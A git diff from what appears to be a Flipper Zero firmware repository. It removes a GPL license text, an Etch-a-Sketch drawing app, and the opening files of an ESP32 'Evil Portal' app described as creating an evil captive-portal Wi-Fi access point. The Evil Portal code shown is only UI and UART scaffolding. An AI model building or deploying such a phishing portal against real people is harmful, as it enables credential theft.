- b) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by a
- written offer, valid for at least three years and valid for as
- long as you offer spare parts or customer support for that product
- model, to give anyone who possesses the object code either (1) a
- copy of the Corresponding Source for all the software in the
- product that is covered by this License, on a durable physical
- medium customarily used for software interchange, for a price no
- more than your reasonable cost of physically performing this
- conveying of source, or (2) access to copy the
- Corresponding Source from a network server at no charge.
-
- c) Convey individual copies of the object code with a copy of the
- written offer to provide the Corresponding Source. This
- alternative is allowed only occasionally and noncommercially, and
- only if you received the object code with such an offer, in accord
- with subsection 6b.
-
- d) Convey the object code by offering access from a designated
- place (gratis or for a charge), and offer equivalent access to the
- Corresponding Source in the same way through the same place at no
- further charge. You need not require recipients to copy the
- Corresponding Source along with the object code. If the place to
- copy the object code is a network server, the Corresponding Source
- may be on a different server (operated by you or a third party)
- that supports equivalent copying facilities, provided you maintain
- clear directions next to the object code saying where to find the
- Corresponding Source. Regardless of what server hosts the
- Corresponding Source, you remain obligated to ensure that it is
- available for as long as needed to satisfy these requirements.
-
- e) Convey the object code using peer-to-peer transmission, provided
- you inform other peers where the object code and Corresponding
- Source of the work are being offered to the general public at no
- charge under subsection 6d.
-
- A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
- A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling. In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage. For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product. A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
- "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source. The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
- If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information. But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
- The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed. Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
- Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
- 7. Additional Terms.
-
- "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law. If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
- When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it. (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.) You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
- Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
- a) Disclaiming warranty or limiting liability differently from the
- terms of sections 15 and 16 of this License; or
-
- b) Requiring preservation of specified reasonable legal notices or
- author attributions in that material or in the Appropriate Legal
- Notices displayed by works containing it; or
-
- c) Prohibiting misrepresentation of the origin of that material, or
- requiring that modified versions of such material be marked in
- reasonable ways as different from the original version; or
-
- d) Limiting the use for publicity purposes of names of licensors or
- authors of the material; or
-
- e) Declining to grant rights under trademark law for use of some
- trade names, trademarks, or service marks; or
-
- f) Requiring indemnification of licensors and authors of that
- material by anyone who conveys the material (or modified versions of
- it) with contractual assumptions of liability to the recipient, for
- any liability that these contractual assumptions directly impose on
- those licensors and authors.
-
- All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10. If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term. If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
- If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
- Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
- 8. Termination.
-
- You may not propagate or modify a covered work except as expressly
-provided under this License. Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
- However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
- Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
- Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License. If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
- 9. Acceptance Not Required for Having Copies.
-
- You are not required to accept this License in order to receive or
-run a copy of the Program. Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance. However,
-nothing other than this License grants you permission to propagate or
-modify any covered work. These actions infringe copyright if you do
-not accept this License. Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
- 10. Automatic Licensing of Downstream Recipients.
-
- Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License. You are not responsible
-for enforcing compliance by third parties with this License.
-
- An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations. If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
- You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License. For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
- 11. Patents.
-
- A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The
-work thus licensed is called the contributor's "contributor version".
-
- A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version. For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
- Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
- In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement). To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
- If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients. "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
- If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
- A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License. You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
- Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
- 12. No Surrender of Others' Freedom.
-
- If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all. For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
- 13. Use with the GNU Affero General Public License.
-
- Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work. The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
- 14. Revised Versions of this License.
-
- The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
- Each version is given a distinguishing version number. If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation. If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
- If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
- Later license versions may give you additional or different
-permissions. However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
- 15. Disclaimer of Warranty.
-
- THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
- 16. Limitation of Liability.
-
- IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
-
- 17. Interpretation of Sections 15 and 16.
-
- If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
- END OF TERMS AND CONDITIONS
-
- How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
- If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
-
- You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-.
-
- The GNU General Public License does not permit incorporating your program
-into proprietary programs. If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library. If this is what you want to do, use the GNU Lesser General
-Public License instead of this License. But first, please read
-.
diff --git a/applications/external/etch_a_sketch/application.fam b/applications/external/etch_a_sketch/application.fam
deleted file mode 100644
index 2f6cd9136..000000000
--- a/applications/external/etch_a_sketch/application.fam
+++ /dev/null
@@ -1,16 +0,0 @@
-App(
- appid="etch",
- name="Etch a Sketch",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="etch_a_sketch_app",
- cdefines=["APP_ETCH_A_SKETCH"],
- requires=["gui"],
- stack_size=2 * 1024,
- fap_icon="etch-a-sketch-icon.png",
- fap_category="Media",
- fap_icon_assets="assets",
- fap_author="@SimplyMinimal",
- fap_weburl="https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch",
- fap_version="1.0",
- fap_description="Turn the Flipper Zero into an Etch A Sketch",
-)
diff --git a/applications/external/etch_a_sketch/etch-a-sketch-icon.png b/applications/external/etch_a_sketch/etch-a-sketch-icon.png
deleted file mode 100644
index 567c16900..000000000
Binary files a/applications/external/etch_a_sketch/etch-a-sketch-icon.png and /dev/null differ
diff --git a/applications/external/etch_a_sketch/etch_a_sketch.c b/applications/external/etch_a_sketch/etch_a_sketch.c
deleted file mode 100644
index bc15d7e0c..000000000
--- a/applications/external/etch_a_sketch/etch_a_sketch.c
+++ /dev/null
@@ -1,275 +0,0 @@
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include // Header-file for boolean data-type.
-#include
-#include
-#include "etch_icons.h"
-#include
-
-#define WIDTH 64
-#define HEIGHT 32
-
-const int brush_size = 2;
-
-typedef struct selected_position {
- int x;
- int y;
-} selected_position;
-
-typedef struct {
- FuriMutex* mutex;
- selected_position selected;
- bool board[64][32];
- bool isDrawing;
- bool showWelcome;
-} EtchData;
-
-// Sequence to indicate that drawing is enabled.
-const NotificationSequence sequence_begin_draw = {
- &message_display_backlight_on,
-
- // Vibrate to indicate that drawing is enabled.
- &message_vibro_on,
- &message_note_g5,
- &message_delay_50,
- &message_note_c6,
- &message_delay_50,
- &message_note_e5,
- &message_vibro_off,
- &message_sound_off,
- NULL,
-};
-
-// sequence to indicate that drawing is disabled
-const NotificationSequence sequence_end_draw = {
- &message_red_0,
- // Indicate that drawing is disabled.
- &message_vibro_on,
- &message_note_g5,
- &message_delay_50,
- &message_note_e5,
- &message_delay_50,
- &message_vibro_off,
- &message_sound_off,
- &message_do_not_reset,
- NULL,
-};
-
-// Indicate that drawing is enabled.
-const NotificationSequence sequence_draw_enabled = {
- &message_red_255,
- &message_do_not_reset,
- NULL,
-};
-
-// Indicate that drawing is disabled.
-const NotificationSequence sequence_draw_disabled = {
- &message_red_0,
- &message_do_not_reset,
- NULL,
-};
-
-const NotificationSequence sequence_cleanup = {
- &message_red_0,
- &message_green_0,
- &message_blue_0,
- &message_sound_off,
- &message_vibro_off,
- NULL,
-};
-
-void etch_draw_callback(Canvas* canvas, void* ctx) {
- furi_assert(ctx);
- const EtchData* etch_state = ctx;
- furi_mutex_acquire(etch_state->mutex, FuriWaitForever);
-
- canvas_clear(canvas);
-
- // Show Welcome Message
- if(etch_state->showWelcome) {
- // Draw Etch A Sketch frame
- canvas_draw_frame(canvas, 5, 3, 119, 55); // Border
- canvas_draw_icon(canvas, 8, 50, &I_Ok_btn_pressed_13x13); // Left Knob
- canvas_draw_icon(canvas, 107, 50, &I_Ok_btn_pressed_13x13); // Right Knob
-
- // Draw Etch A Sketch text banner
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 36, 15, "Etch A Sketch");
-
- // Draw Etch A Sketch instructions "Hold Back to clear"
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 31, 26, "* Hold ");
- canvas_draw_icon(canvas, 59, 18, &I_Pin_back_arrow_10x8);
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 72, 26, "to clear");
-
- // Draw Etch A Sketch instructions "Hold OK button to draw"
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 31, 37, "* Hold");
- canvas_draw_icon(canvas, 61, 30, &I_ButtonCenter_7x7);
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 72, 37, "to draw");
- }
-
- canvas_set_color(canvas, ColorBlack);
- //draw the canvas(64x32) on screen(144x64) using brush_size*brush_size tiles
- for(int y = 0; y < 32; y++) {
- for(int x = 0; x < 64; x++) {
- if(etch_state->board[x][y]) {
- canvas_draw_box(canvas, x * brush_size, y * brush_size, 2, 2);
- }
- }
- }
-
- //draw cursor as a brush_size by brush_size black box
- canvas_set_color(canvas, ColorBlack);
- canvas_draw_box(
- canvas,
- etch_state->selected.x * brush_size,
- etch_state->selected.y * brush_size,
- brush_size,
- brush_size);
-
- //release the mutex
- furi_mutex_release(etch_state->mutex);
-}
-
-void etch_input_callback(InputEvent* input_event, void* ctx) {
- furi_assert(ctx);
- FuriMessageQueue* event_queue = ctx;
- furi_message_queue_put(event_queue, input_event, FuriWaitForever);
-}
-
-int32_t etch_a_sketch_app(void* p) {
- UNUSED(p);
- FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
-
- EtchData* etch_state = malloc(sizeof(EtchData));
- etch_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
- if(!etch_state->mutex) {
- FURI_LOG_E("etch", "cannot create mutex\r\n");
- free(etch_state);
- return -1;
- }
-
- // Configure view port
- ViewPort* view_port = view_port_alloc();
- view_port_draw_callback_set(view_port, etch_draw_callback, etch_state);
- view_port_input_callback_set(view_port, etch_input_callback, event_queue);
-
- // Register view port in GUI
- Gui* gui = furi_record_open(RECORD_GUI);
- gui_add_view_port(gui, view_port, GuiLayerFullscreen);
-
- NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
-
- InputEvent event;
-
- // Show Welcome Banner
- etch_state->showWelcome = true;
-
- while(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
- //break out of the loop if the back key is pressed
- if(event.key == InputKeyBack && event.type == InputTypeShort) {
- break;
- }
-
- // Clear
- // TODO: Do animation of shaking board
- if(event.key == InputKeyBack && event.type == InputTypeLong) {
- etch_state->showWelcome = false;
- etch_state->board[1][1] = true;
- for(int y = 0; y < 32; y++) {
- for(int x = 0; x < 64; x++) {
- etch_state->board[x][y] = false;
- }
- }
- view_port_update(view_port);
- }
-
- // Keep LED on while drawing
- if(etch_state->isDrawing) {
- notification_message(notification, &sequence_draw_enabled);
- } else {
- notification_message(notification, &sequence_draw_disabled);
- }
-
- // Single Dot Select
- if(event.key == InputKeyOk && event.type == InputTypeShort) {
- etch_state->board[etch_state->selected.x][etch_state->selected.y] =
- !etch_state->board[etch_state->selected.x][etch_state->selected.y];
- }
-
- // Start Drawing
- if(event.key == InputKeyOk && event.type == InputTypeLong) {
- // notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_begin_draw);
- notification_message(notification, &sequence_begin_draw);
-
- if(etch_state->isDrawing) {
- // We're ending the drawing
- notification_message(notification, &sequence_end_draw);
- }
-
- etch_state->isDrawing = !etch_state->isDrawing;
- etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
-
- view_port_update(view_port);
- }
-
- //check the key pressed and change x and y accordingly
- if(event.type == InputTypeShort || event.type == InputTypeRepeat ||
- event.type == InputTypeLong) {
- switch(event.key) {
- case InputKeyUp:
- etch_state->selected.y -= 1;
- break;
- case InputKeyDown:
- etch_state->selected.y += 1;
- break;
- case InputKeyLeft:
- etch_state->selected.x -= 1;
- break;
- case InputKeyRight:
- etch_state->selected.x += 1;
- break;
- default:
- break;
- }
-
- //check if cursor position is out of bounds and reset it to the closest position
- if(etch_state->selected.x < 0) {
- etch_state->selected.x = 0;
- }
- if(etch_state->selected.x > 61) {
- etch_state->selected.x = 61;
- }
- if(etch_state->selected.y < 0) {
- etch_state->selected.y = 0;
- }
- if(etch_state->selected.y > 31) {
- etch_state->selected.y = 31;
- }
- if(etch_state->isDrawing == true) {
- etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
- }
- view_port_update(view_port);
- }
- }
-
- notification_message(notification, &sequence_cleanup);
- gui_remove_view_port(gui, view_port);
- view_port_free(view_port);
- furi_mutex_free(etch_state->mutex);
- furi_message_queue_free(event_queue);
- furi_record_close(RECORD_NOTIFICATION);
- furi_record_close(RECORD_GUI);
- free(etch_state);
-
- return 0;
-}
diff --git a/applications/external/evil_portal/LICENSE.txt b/applications/external/evil_portal/LICENSE.txt
deleted file mode 100644
index 2ae63a7f6..000000000
--- a/applications/external/evil_portal/LICENSE.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2023 bigbrodude6119
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/applications/external/evil_portal/application.fam b/applications/external/evil_portal/application.fam
deleted file mode 100644
index 6af0546c4..000000000
--- a/applications/external/evil_portal/application.fam
+++ /dev/null
@@ -1,14 +0,0 @@
-App(
- appid="evil_portal",
- name="[ESP32] Evil Portal",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="evil_portal_app",
- cdefines=["APP_EVIL_PORTAL"],
- requires=["gui"],
- stack_size=1 * 1024,
- fap_author="bigbrodude6119",
- fap_description="Create an evil captive portal Wi-Fi access point",
- fap_icon_assets="icons",
- fap_icon="icons/evil_portal_10px.png",
- fap_category="WiFi",
-)
diff --git a/applications/external/evil_portal/evil_portal_app.c b/applications/external/evil_portal/evil_portal_app.c
deleted file mode 100644
index 8e091da40..000000000
--- a/applications/external/evil_portal/evil_portal_app.c
+++ /dev/null
@@ -1,146 +0,0 @@
-#include "evil_portal_app_i.h"
-#include "helpers/evil_portal_storage.h"
-
-#include
-#include
-
-static bool evil_portal_app_custom_event_callback(void* context, uint32_t event) {
- furi_assert(context);
- Evil_PortalApp* app = context;
- return scene_manager_handle_custom_event(app->scene_manager, event);
-}
-
-static bool evil_portal_app_back_event_callback(void* context) {
- furi_assert(context);
- Evil_PortalApp* app = context;
- return scene_manager_handle_back_event(app->scene_manager);
-}
-
-static void evil_portal_app_tick_event_callback(void* context) {
- furi_assert(context);
- Evil_PortalApp* app = context;
- scene_manager_handle_tick_event(app->scene_manager);
-}
-
-Evil_PortalApp* evil_portal_app_alloc() {
- Evil_PortalApp* app = malloc(sizeof(Evil_PortalApp));
-
- app->sent_html = false;
- app->sent_ap = false;
- app->sent_reset = false;
- app->has_command_queue = false;
- app->command_index = 0;
- app->portal_logs = furi_string_alloc();
-
- app->dialogs = furi_record_open(RECORD_DIALOGS);
- app->file_path = furi_string_alloc();
-
- app->gui = furi_record_open(RECORD_GUI);
-
- app->view_dispatcher = view_dispatcher_alloc();
-
- app->loading = loading_alloc();
-
- app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app);
- view_dispatcher_enable_queue(app->view_dispatcher);
- view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
-
- view_dispatcher_set_custom_event_callback(
- app->view_dispatcher, evil_portal_app_custom_event_callback);
- view_dispatcher_set_navigation_event_callback(
- app->view_dispatcher, evil_portal_app_back_event_callback);
- view_dispatcher_set_tick_event_callback(
- app->view_dispatcher, evil_portal_app_tick_event_callback, 100);
-
- view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
-
- app->view_stack = view_stack_alloc();
-
- app->var_item_list = variable_item_list_alloc();
- view_dispatcher_add_view(
- app->view_dispatcher,
- Evil_PortalAppViewVarItemList,
- variable_item_list_get_view(app->var_item_list));
-
- app->text_input = text_input_alloc();
- view_dispatcher_add_view(
- app->view_dispatcher, Evil_PortalAppViewTextInput, text_input_get_view(app->text_input));
-
- for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
- app->selected_option_index[i] = 0;
- }
-
- app->text_box = text_box_alloc();
- view_dispatcher_add_view(
- app->view_dispatcher, Evil_PortalAppViewConsoleOutput, text_box_get_view(app->text_box));
- app->text_box_store = furi_string_alloc();
- furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE);
-
- scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart);
-
- return app;
-}
-
-void evil_portal_app_free(Evil_PortalApp* app) {
- // save latest logs
- if(furi_string_utf8_length(app->portal_logs) > 0) {
- write_logs(app->portal_logs);
- furi_string_free(app->portal_logs);
- }
-
- // Send reset event to dev board
- evil_portal_uart_tx((uint8_t*)(RESET_CMD), strlen(RESET_CMD));
- evil_portal_uart_tx((uint8_t*)("\n"), 1);
-
- furi_assert(app);
-
- // Views
- view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
- view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
-
- text_box_free(app->text_box);
- furi_string_free(app->text_box_store);
- text_input_free(app->text_input);
-
- view_stack_free(app->view_stack);
- loading_free(app->loading);
-
- // View dispatcher
- view_dispatcher_free(app->view_dispatcher);
- scene_manager_free(app->scene_manager);
-
- evil_portal_uart_free(app->uart);
-
- // Close records
- furi_record_close(RECORD_GUI);
-
- furi_record_close(RECORD_DIALOGS);
- furi_string_free(app->file_path);
-
- free(app);
-}
-
-int32_t evil_portal_app(void* p) {
- UNUSED(p);
- Evil_PortalApp* evil_portal_app = evil_portal_app_alloc();
-
- uint8_t attempts = 0;
- bool otg_was_enabled = furi_hal_power_is_otg_enabled();
- while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
- furi_hal_power_enable_otg();
- furi_delay_ms(10);
- }
- furi_delay_ms(200);
-
- evil_portal_app->uart = evil_portal_uart_init(evil_portal_app);
-
- view_dispatcher_run(evil_portal_app->view_dispatcher);
-
- evil_portal_app_free(evil_portal_app);
-
- if(furi_hal_power_is_otg_enabled() && !otg_was_enabled) {
- furi_hal_power_disable_otg();
- }
-
- return 0;
-}
diff --git a/applications/external/evil_portal/evil_portal_app.h b/applications/external/evil_portal/evil_portal_app.h
deleted file mode 100644
index bb663ec22..000000000
--- a/applications/external/evil_portal/evil_portal_app.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#pragma once
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-typedef struct Evil_PortalApp Evil_PortalApp;
-
-#ifdef __cplusplus
-}
-#endif
\ No newline at end of file
diff --git a/applications/external/evil_portal/evil_portal_app_i.h b/applications/external/evil_portal/evil_portal_app_i.h
deleted file mode 100644
index 5fa6f62b8..000000000
--- a/applications/external/evil_portal/evil_portal_app_i.h
